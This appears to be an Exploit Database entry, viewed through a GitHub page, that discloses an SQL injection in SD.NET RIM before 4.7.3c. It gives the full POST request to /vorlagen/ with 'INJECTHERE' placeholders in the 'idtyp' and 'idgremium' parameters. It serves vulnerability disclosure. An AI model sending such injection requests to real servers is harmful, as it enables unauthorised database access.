52ab59aad8
12 changes to exploits/shellcodes FileOptimizer 14.00.2524 - Denial of Service (PoC) JavaScriptCore - Type Confusion During Bailout when Reconstructing Arguments Objects WebKit - Universal XSS in JSObject::putInlineSlow and JSValue::putToPrimitive macOS XNU - Missing Locking in checkdirs_callback() Enables Race with fchdir_common() Blue Stacks App Player 2.4.44.62.57 - _BstHdLogRotatorSvc_ Unquote Service Path Network Inventory Advisor 5.0.26.0 - 'niaservice' Unquoted Service Path thejshen Globitek CMS 1.4 - 'id' SQL Injection thrsrossi Millhouse-Project 1.414 - 'content' Persistent Cross-Site Scripting rimbalinux AhadPOS 1.11 - 'alamatCustomer' SQL Injection html5_snmp 1.11 - 'Remark' Persistent Cross-Site Scripting html5_snmp 1.11 - 'Router_ID' SQL Injection SD.NET RIM 4.7.3c - 'idtyp' SQL Injection
30 lines
No EOL
1.3 KiB
Text
30 lines
No EOL
1.3 KiB
Text
# Exploit Title: SD.NET RIM 4.7.3c - 'idtyp' SQL Injection
|
||
# Date: 2019-11-05
|
||
# Exploit Author: Fabian Mosch (r-tec IT Security GmbH)
|
||
# Vendor Homepage: https://www.sitzungsdienst.net/
|
||
# Software Link: https://www.sitzungsdienst.net/2018/12/sd-net-rim-4-7-3-veroeffentlicht/
|
||
# Version: < 4.7.3c
|
||
# Tested on: < 4.7.3c
|
||
# CVE : N/A
|
||
|
||
# SD.NET RIM before version 4.7.3c is vulnerable to a SQL-Injection vulnerability. To Exploit the vulnerability
|
||
# an attacker has to inject arbitrary SQL Statements in the following POST parameters:
|
||
|
||
POST /vorlagen/?__=SOMEBASE64 HTTP/1.1
|
||
Host: VulnerableHost.com
|
||
User-Agent: Mozilla/5.0
|
||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||
Accept-Language: de,en-US;q=0.7,en;q=0.3
|
||
Accept-Encoding: gzip, deflate
|
||
Content-Type: application/x-www-form-urlencoded
|
||
Content-Length: 182
|
||
Origin: https://vulnerablehost.com
|
||
Connection: close
|
||
Referer: https://vulnerablehost.com/vorlagen/?__=BASE64
|
||
Cookie: PHPSESSID250=SESSIONID
|
||
Upgrade-Insecure-Requests: 1
|
||
|
||
reqid=f48de4c24ae1b72dd37ebde6f6b40544&nummer=t&idtyp=-1’INJECTHERE&idgremium=-1’INJECTHERE&datefrom=TT.MM.JJJJ&dateto=TT.MM.JJJJ&csrftoken=CSRFToken
|
||
|
||
# The attacker is then redirected with a 302 redirect to an URL /templates/?__=NEWBASE64 as GET request.
|
||
# By issuing the second request the arbitrary SQL-Statement gets executed. |